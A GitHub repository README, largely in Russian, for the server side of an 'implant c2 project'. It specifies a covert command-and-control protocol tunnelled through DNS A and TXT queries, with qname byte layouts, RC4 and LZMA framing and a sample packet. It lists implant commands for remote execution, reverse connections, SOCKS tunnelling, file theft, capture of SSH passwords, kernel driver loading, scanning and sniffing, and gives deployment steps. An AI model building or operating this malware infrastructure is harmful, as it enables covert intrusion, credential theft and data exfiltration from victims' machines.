Skip to content

m1lua/encelade_server

Repository files navigation

implant c2 project


PROJECT DESCRIPTION

Сетевая коммуникация:

Существует 2 протокола связи, инкапсулированных в днс: Jumbo и RealTime. (не актуально)


Jumbo

  • Инкапсулирует весь объем данных за раз и полученную строчку передает запросами типа A.
  • После окончания данных для передачи получает ответы запросами типа TXT.

Модель сеанса связи:

Implant (dns_a)  -> Server   ---   Server (dns_txt) --> Implant;

Преимущества: высокая степень сжатия.

Недостатки: невозможно управлять направлением потока.


RealTime

  • Инкапсулирует столько данных, сколько поместится в поле qname так, что бы это был самодостаточный PDU.
  • Отправляет запрос TXT, передавая данные на сервер.
  • Получает ответ на запрос TXT вместе с данными от сервера.

Модель сеанса связи:

Implant   ->  (dns_txt QNAME) ->  Server

Implant   <-  (dns_txt QNAME) <-  Server

Преимущества: синхронный ввод-вывод.

Недостатки: очень низкое КПД для компрессии, qname приходится получать обратно.

Формат запросов

───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: spec.md
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ +-------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
   2   │ |                                                                                   JUMBO                                                                               |
   3   │ |                                                                                     |                                                                                 |
   4   │ |                                                                                     |                                                                                 |
   5   │ |                                                                                     |                                                                                 |
   6   │ |                                                        generating pdu  +-------+    |    +-------+ handle income                                                      |
   7   │ |                                     +----------------------------------|IMPLANT|    |    |BACKEND|-----------------+                                                  |
   8   │ |                                     |                                  +-------+    |    +-------+                 |                                                  |
   9   │ |                                     |      +----------------------------|           |                              |                                                  |
  10   │ |                +---------------+----v----+ |                            |           |                         +----v----+                                             |
  11   │ |                v               |         +-+-----T_A-------send-all-data------------>---then-send-last-------->         |--------|                                    |
  12   │ |      GENERATING REQUEST DATA   |  PULSE  | |                            |           |                         | INCOME  |        v                                    |
  13   │ |      COMPRESS BIG BLOCK        |  OUTGO  | |                            +-----------<-T_A----hash(decoded)----<+BUFFER  |    HANDLING REQUEST TRANSPORT               |
  14   │ |      ENCRYPT BIG BLOCK         +---------+ |                                        |                         |+--------+      DECODING PARTS                         |
  15   │ |      HANDLING REQUEST TRANSPORT|         | +---->T_TXT-----ask-for-reply------------>--------------------------->       |    DECRYPTING BIG BLOCK                     |
  16   │ |        ENCODING PARTS          |  PULSE  |                                          |                         |GENERATED|    DECOMPRESSING BIG BLOCK                  |
  17   │ |      HANDLING REPLY TRANSPORT  |REQUESTED|                                          |                         |  REPLY  |    HANDLING PDU                             |
  18   │ |        DECODING PARTS          |  PDU  <---------T_TXT-----receive--last------------<-T_TXT---send-response-----<       |    GENERATING REPLY DATA                    |
  19   │ |      DECRYPTING BIG BLOCK      |         |                                          |                         |         |      HANDLING REPLY TRANSPORT               |
  20   │ |      DECOMPRESSING BIG BLOCK   +---------+                                          |                         +---------+                                             |
  21   │ |      HANDLING PDU REPLY                                                             |                                                                                 |
  22   │ |                                                                                     |                                                                                 |
  23   │ +-------------------------------------------------------------------------------------|---------------------------------------------------------------------------------+

Формат запросов

┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ ae 00 01 20 00 01 00 00 ┊ 00 00 00 00 01 32 01 78 │×0• 0•00┊0000•2•x│
│00000010│ 04 44 41 54 41 08 53 65 ┊ 73 73 48 6f 73 74 03 64 │•DATA•Se┊ssHost•d│
│00000020│ 6e 73 07 6c 69 6e 75 78 ┊ 65 73 07 73 79 73 74 65 │ns•linux┊es•syste│
│00000030│ 6d 73 00 00 01 00 01    ┊                         │ms00•0• ┊        │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
Domain Name System (query)
    Transaction ID: 0xae00
    Flags: 0x0120 Standard query
        0... .... .... .... = Response: Message is a query
        .000 0... .... .... = Opcode: Standard query (0)
        .... ..0. .... .... = Truncated: Message is not truncated
        .... ...1 .... .... = Recursion desired: Do query recursively
        .... .... .0.. .... = Z: reserved (0)
        .... .... ..1. .... = AD bit: Set
        .... .... ...0 .... = Non-authenticated data: Unacceptable
    Questions: 1
    Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 0
    Queries
          2.x.DATA.SessHost.dns.linuxes.systems: reply_type A, reply_class IN
            Name: 2.x.DATA.SessHost.dns.linuxes.systems
            [Name Length: 37]
            [Label Count: 7]
            Type: A (Host Address) (1)
            Class: IN (0x0001)
    [Response In: 6]

Методы

#define PULSE_CHECK     0x00        //запрос-ответ проверка протокола (транспорт днс)
#define PULSE_PULSE     0x01        //запрос-ответ пульс (транспорт днс)
#define PULSE_STATE     0x02        //запрос-ответ GetState (транспорт днс)
#define PULSE_BCONN     0x03        //запрос backconnect, bindport (транспорт в опциях)
#define PULSE_EVAL      0x04        //запрос-ответ comand exec (транспорт днс)(не интерактивно, с получением выхлопа в админку)
#define PULSE_SOCKS5    0x05        //запрос тунелирования (транспорт в опциях)(для днс это будет весело, я гарантирую)
#define PULSE_PUSH      0x06        //передача файла с сервера на хост (транспорт в опциях)
#define PULSE_PULL      0x07        //передача файла с хоста на сервер (транспорт в опциях)
#define PULSE_PWDIN     0x08        //отстук входящих паролей (транспорт днс)(если в составе ссш)
#define PULSE_PWDOUT    0x09        //отстук исходящих паролей (транспорт днс)(если с составе ссш)
#define PULSE_CLIPTY    0x0A        //интерактивная сессия (транспорт днс)(где-то в админке)
#define PULSE_KERNEL    0x0B        //подмешать в ядро драйвер (транспорт определяется в опциях)
#define PULSE_TSTOP     0x0C        //остановить активную на хосте задачу (например сокс5, или зависшую PULSE_EVAL)
#define PULSE_TUNDEV    0x0D        //пока сам не представляю как это будет работать (транспорт в опциях)
#define PULSE_MAPFD     0x0E        //переадресация дескриптора. Пример: BIND(tcp:1337)+ACCEPT(tcp:1337) <-> CONNECT(udp:4444)
#define PULSE_SCAN      0x0F        //запрос-ответ сканирования сети
#define PULSE_SNIFF     0x10        //запустить сетевой сниффер
#define PULSE_UPGRADE   0x11        //весело будет только мне
#define PULSE_ERROR     0xff        //сообщение об ошибке (для отладочных билдов?)

Off-topic:

прим: все оффсеты в сыром представлении, если тебе либа вырезает точки - учитывай это в своих пересчетах прим2: .api.let-it.systems просто обрезаются, условно будем воспринимать позицию предыдущего байта как "end"


ЗАПРОСЫ ТИПА А:
DNS query `QName` bytes structure: 

qname[0]: request accuracy byte
  -- если не равен 0x01 - запрос не валиден.

qname[1]: - 
  '1', '2' -- base32 -- приводим к нижнему регистру
  '3', '4' -- класический bas64 -- не приводим
  '5', '6' -- кастомный base64 -- приводим к нижнему регистру
  '7', '8' -- бейс92 -- его пока не тестировали даже
  '9', '0' -- может быть расширимся для клаудфлары, но это все потом


qname[1] % 2: Indicator if this is a last part of received message for a session:

qname[1] % 2 != 0: (first or next package of a session)
  -- значит блок не последний. если это первый запрос с таким сессионным номером - значит создается новая сессия
     и в нее начинают дописываться сырые блоки.
qname[1] % 2 == 0: (last package for a session)
  -- значит это крайний сырой блок в сессии. декодируешь все полученные в сессии данные (ДАЛЕЕ: PDU). обрабатываешь их.
  -- после передачи всех данных серверу, клиент начинает получать  ответы (ДАЛЕЕ: МЕНЯЕТ ПОТОК)

qname[2]:
  -- если не равен 0x01 - запрос не валиден

qname[3]:
  символ конвертируется в число от 0 до 31 по таблице base32
  
  -- 5й бит (resend) как флаг повторной отправки | 00010000
  -- 4й бит (finrst) как флаг конца сессии | 00001000
   

qname[end-7],qname[end-6],qname[end-5],qname[end-4],qname[end-3],qname[end-2],qname[end-1],qname[end-0]:
  -- это сессионный блок. всегда приводится к нижнему регистру, всегда в бейс32.
  -- после декодирования получаешь 5 байтовый инт, в биг-эндианах, делешь его на 2, слева сессия, справа хостид.

qname[end-8]:
  -- если не равен 0x08 - запрос не валиден.

qname[5] ... qname[end-9]:
  -- транспортные блоки. вырезаешь точки, получаешь строчку обвернутую в кодек, декодируешь кодеком определенном в пункте 1
  -- получаешь сырой набор байт. (ДАЛЕЕ: СЫРОЙ БЛОК.) считаешь их crc32 хеш и отвечаешь этим хешем на запрос.

base32_char_decode(qname[3]) & 0b00010000 != 0:
-- значит предыдущий блок был декодирован некорректно, удаляешь его из сессинных данных.
-- после удаления продолжаешь обработку текущих данных

RR[0] -- RR[3]:
-- crc32 хеш-сумма полученного тобой сырого блока

ЗАПРОСЫ ТИПА TXT:
qname[0]:
-- если не равен 0x01 - запрос не валиден.

qname[1]:
-- кодек, которым ты кодируешь следующий сырый блок ответа

qname[2]:
-- если не равен 0x01 - запрос не валиден.

qname[3]:
-- блок рандомизации, смысловой нагрузки не несет

qname[5],qname[6],qname[7],qname[8],qname[9],qname[a],qname[b]:
-- crc32 хеш последнего полученного от сервера блока, закодированный base32.
-- в случае первого запроса TXT (ДАЛЕЕ: ВЕДУЩЕГО) равен нулю закодированному в base32

qname[c]:
-- если не равер 0x08 - запрос не валиден.

qname[end-7],qname[end-6],qname[end-5],qname[end-4],qname[end-3],qname[end-2],qname[end-1],qname[end-0]:
-- это сессионный блок. всегда приводится к нижнему регистру, всегда в бейс32.
-- после декодирования получаешь 5байтовый инт, в биг-эндианах, делешь его на 2, слева сессия, справа хостид.

RR[1]:
-- ведущий байт ответа

base32_char_decode(RR[1]) & 0b00010000 != 0:
-- значит предыдущий блок был декодирован клиентом некорректно, хешсумма не совпадает
-- "откатываем" состояние передачи назад на этот блок, и повторяем передачу.

base32_char_decode(RR[1]) & 0b00001000 != 0:
-- последний блок был передан, сессия завершена

ФОРМАТ СЫРЫХ БЛОКОВ:
-- codec_encode(RAW_BYTES) - кодировка
-- codec_decode(RAW_BYTES) - декодировка
ФОРМАТ PDU:
-- rc4(lzma2_encode(CLEAR_BYTES)) - инкапсуляция
-- rc4(lzma2_decode(CODED_BYTES)) - декапсуляция

Описание протокола:

все сишные структуры для коммуникации ипланта и сервера продублированы в модуле cp_types.py

Структура pulse_t:

один pulse_t == один чайлд == одина таска 

typedef struct pulse_pulse
{
  u_char cmd_id;
  u_char task_id;
  u_short reserved;
  pid_t worker_pid;
  struct timeval start;
} pulse_t;

size: 24 байта
Это 1 объект == одна задача на импланте - тело пейлоада
Любой пейлоад обвернут в материнскую структуру.

/// заголовок любого декапсулированного сообщения

typedef struct ALIGNED_X (1) query_struct
{
  u_char direction; - направление пейлоада: 0 - на сервер, 1 - от сервера
  u_char task_id; - айди таска для этого бота
  u_char cmd_id; - номер команды
  u_char task_crc8; - хеш сумма пейлоада
  uint32_t payload_size; - размер пейлоада
  
  // payload:
  union 
  {
    raw_t payload; - указатель на пейлоад
    task_t task; - перегруженный указатель на структуры пейлоадов
  };
} * query_t;

sizeof(union) == 0;

Структуры query_t и reply_t одинаковы для любого пейлоада, отличия только в значениях:

    - u_char task_crc8 - хеш сумма пейлоада;
    
    мы не имплементируем отдельно crc8 алгоритм. просто берем crc32 и ксорим каждый его байт между собой, тоесть, 
    если crc32 == 7b8b0533
    то в это поле мы кладем
    0x7b ^ 0x8b ^ 0x05 ^ 0x33 == 0xc6
    
    - uint32_t payload_size; - сырой размер нагрузки 
    
    следом за payload_size идет собственно говоря сырая нагрузка
    тип этой нагрузки определяется   
    
    u_char cmd_id;  -- тип команды
    типом команды могут быть значения из дефайнов типа PULSE_PULSE, PULSE_EXECS, PULSE_...
    
    u_char task_id; 
    в случае, если сервер ставит задачу из админки, к примеру PULSE_EXECS -- ему присваивается айдишник от 1 до 0xff 
    он уникальный в рамках конкретного бота
    
    бот забирает задачу с сервера ТОЛЬКО сообщениями типа PULSE_PULSE 
    в них task_id == 0 всегда, так как это задача нулевого приоритета
    в ответ на пульсы, если есть таск, сервер отдает таск с выставленными cmd_id и task_id.
    бот забирает таск, выполняет её. 
    
    Пока таск выполняется -- пульсы будут приходить с размером пейлоада больше чем 24 
    24 - это размер нулевого процесса импланта и минимальный размер для пейлоада сообщения типа пульс
    то есть они будут все кратны 24
        24 * 1 
        24 * 2
        24 * N
        24 * 0xff
        где множитель = числу запущенных на хосте задач

Теперь внимание!!!

  Когда бот обработал таску от сервера спустя секунду или час
  с той же сессией, с тем же task_id и cmd_id приходит ответ
  набором А запросов.
  
  Получив последний валидный crc32 хеш на запрос с флагом LAST -- сессия считается закрытой
  
  Если что-то пошло не так сервер не узнает об этом, т.к. имплант не будет делать еще 1 круг 
  что бы оповестить об этом сервер

Initial setup steps:

Clone repository

git clone https://github.com/{GIT_USER_NAME}/server.git .

Go to project root directory

cd project_root/

Copy .env.tmpl to .env

cp .env.tmpl .env

Copy .env.c2.tmpl to .env.c2

cp .env.c2.tmpl .env.c2

Choose Source Root directory (PyCharm)

Right mouse button -> Mark Directory as Sources Root:

project_root/src

Create local.py (optional)

project_root/config/settings/local.py

put there settings for overriding defaults

Set environmental variables (DEV)

  • .env file: parameters are used to initialize PostgreSQL DB. It is recommended to use same values as they are specified by default in DATABASES section of config/settings.py. Below is an example:
# ------------------------------------------------------------------------------
# ENVIRONMENT: (dev, stage, prod)
# ------------------------------------------------------------------------------
ENV_TYPE=dev
# ------------------------------------------------------------------------------
# REDIS
# ------------------------------------------------------------------------------
REDIS_HOST=127.0.0.1
# ------------------------------------------------------------------------------
# DJANGO
# ------------------------------------------------------------------------------
POSTGRES_DB_HOST=127.0.0.1

# default: 8000 (just in case you need to run server on custom port)
# DJANGO_SERVER_PORT=
# ------------------------------------------------------------------------------
# PostgreSQL
# ------------------------------------------------------------------------------
POSTGRES_DB=dev_db
POSTGRES_USER=dev_user
POSTGRES_PASSWORD=dev_password
  • .env.c2 file: parameters are used to initialize C2 app server.
# ------------------------------------------------------------------------------
# ENVIRONMENT:
# ------------------------------------------------------------------------------
ENV_TYPE=dev

BIND_TO=127.0.0.1

# ------------------------------------------------------------------------------
# EXPERIMENTAL FLAGS
# ------------------------------------------------------------------------------
# base32 codec usage only
ENFORCE_ALL_ENCODINGS_TO_BASE_32 = False

# manual c2 commands mode via console 
INTERACTIVE_CONSOLE = False

Set environmental variables (STAGE / PROD)

  • .env: parameters are used to initialize PostgreSQL DB.
# ------------------------------------------------------------------------------
# ENVIRONMENT: (dev, stage, prod)
# ------------------------------------------------------------------------------
ENV_TYPE=stage
# ------------------------------------------------------------------------------
# PostgreSQL
# ------------------------------------------------------------------------------
POSTGRES_DB=
POSTGRES_USER=
POSTGRES_PASSWORD=
# ------------------------------------------------------------------------------
# DJANGO
# ------------------------------------------------------------------------------
DJANGO_SECRET_KEY=

DJANGO_ALLOWED_HOSTS='["web", "127.0.0.1", "0.0.0.0", "[::1]"]'

POSTGRES_DB_NAME=
POSTGRES_DB_USER=
POSTGRES_DB_PASSWORD=
POSTGRES_DB_HOST=db
POSTGRES_DB_PORT=5432

# ------------------------------------------------------------------------------
# API secrets
# ------------------------------------------------------------------------------
API_SECRET_KEY=API_INSECURE_SECRET_KEY
  • .env.c2 file: parameters are used to initialize C2 app server.
# ------------------------------------------------------------------------------
# C2 server envs:
# ------------------------------------------------------------------------------

# ------------------------------------------------------------------------------
# REDIS
# ------------------------------------------------------------------------------
REDIS_HOST=127.0.0.1
REDIS_PORT=6379

# domain name
RAW_DOMAIN=

# server port, default 5353
SERVER_PORT=5353

# server's listen ip: 127.0.0.1 or 0.0.0.0,  default: 127.0.0.1
BIND_TO=0.0.0.0

How to run:

Dev Run:

start docker containers

docker-compose up

start c2 app server

python c2_app.py

Stage/Prod Run:

start all docker containers using script (it obtains/renew letsencrypt certs and manage required configs for nginx)

./scripts/run_stage.sh

additional (optional):

run (restart) containers (Stage)

docker-compose -f docker-compose-stage.yml up -d

run (restart) containers (Prod)

docker-compose -f docker-compose-prod.yml up -d

start c2 app server

python c2_app.py &




Misceleneous info:

local db structure

Host

class Host:
    host_id: int     # дублируется для печати
    seen: int        # время последнего онлайна машини
    tasks: list      # задачи
    tasks_history: list    # когда ответ на задачу получен - задача перемещается сюда
    state: HostInfo  # структура информации о хосте
    sessions: list[Session]  # для закрытых сессий, история, логи
    
# db['hosts'][hostid]
# db['hosts'][hostid].seen
# db['hosts'][hostid].tasks
# db['hosts'][hostid].tasks_history
# db['hosts'][hostid].state = HostInfo()
# db['hosts'][hostid].sessions
class Session:
    host_id: int
    session_id: int
    input: b''
    outgo: b''
    rr: bool  # ответ готов
    Ac: int  # кол-во входящих А
    Tc: int  # кол-во исходящих Т
    Ec: int  # кол-во возникших ошибок
    Dc: int  # Ждет ответа, нельзя закрывать
    ll: int  # last length
    pos: int  # position

OPCODES EXPLANATION:

PULSE_CHECK

???

PULSE_PULSE

  • бот забирает задачу с сервера ТОЛЬКО сообщениями типа PULSE_PULSE
  • если задач нету, серер шлет generate_noop_reply(PULSE_NOOPS)

PULSE_STATE

  • создаем таску для клиента, чтобы он прислал данные о своём состоянии

PULSE_NOOPS:

Если клиент отправил пульс (PULSE_PULSE), и для него нет задач - сервер шлет generate_noop_reply(PULSE_NOOPS).

PULSE_TDONE

Если клиент отправил ответ на задачу (PULSE_TDONE) - сервер отвечает generate_noop_reply(PULSE_TDONE).

Ответ клиенту может генерироваться в случае:

1) Если клиент отправил пульс (PULSE_PULSE), и для него нет задач - сервер шлет generate_noop_reply(PULSE_NOOPS).
2) Если клиент отправил ответ на задачу (PULSE_TDONE) - сервер шлет generate_noop_reply(PULSE_TDONE).
3) Если клиент отправил (PULSE_CHECK)

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors